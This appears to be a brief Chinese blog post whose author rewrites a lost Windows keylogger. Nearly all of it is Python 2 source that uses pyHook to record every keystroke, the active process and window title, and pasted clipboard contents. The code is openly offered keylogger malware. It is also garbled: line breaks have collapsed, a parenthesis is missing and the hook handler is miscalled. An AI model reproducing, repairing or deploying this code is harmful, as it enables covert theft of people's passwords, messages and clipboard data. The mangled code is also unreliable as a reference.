之前写的键盘记录最后一直在纠结弹框与不弹框的问题,代码找不到了,今天重新来一遍
#!/usr/bin/env python
# -*-coding:utf-8 -*-from ctypes import *import pythoncomimport pyHookimport win32clipboarduser32 = windll.user32kernel32 = windll.kernel32psapi = windll.psapicurrent_window = Nonedef get_current_process(): hwnd = user32.GetForegroundWindow() pid = c_ulong(0) user32.GetWindowThreadProcessID(hwnd,byref(pid)) process_id = "%d" % pid.value executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseName(h_process,None, byref(executable),512) window_title =create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd,byref(window_title),512 print "\n [PID:%s-%s-%s]" % (process_id,executable.value,window_title.value) kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process)def KeyStroke(event): global current_window if event.WindowName != current_window: current_window = event.WindowName get_current_process() if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), else: if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE]-%s " % (pasted_value), else: print "[%s]" % event.Key, return Truekl = pyHook.HookManager()kl.KeyDown = KeyStroke()kl.HookKeyboard()pythoncom.PumpMessages()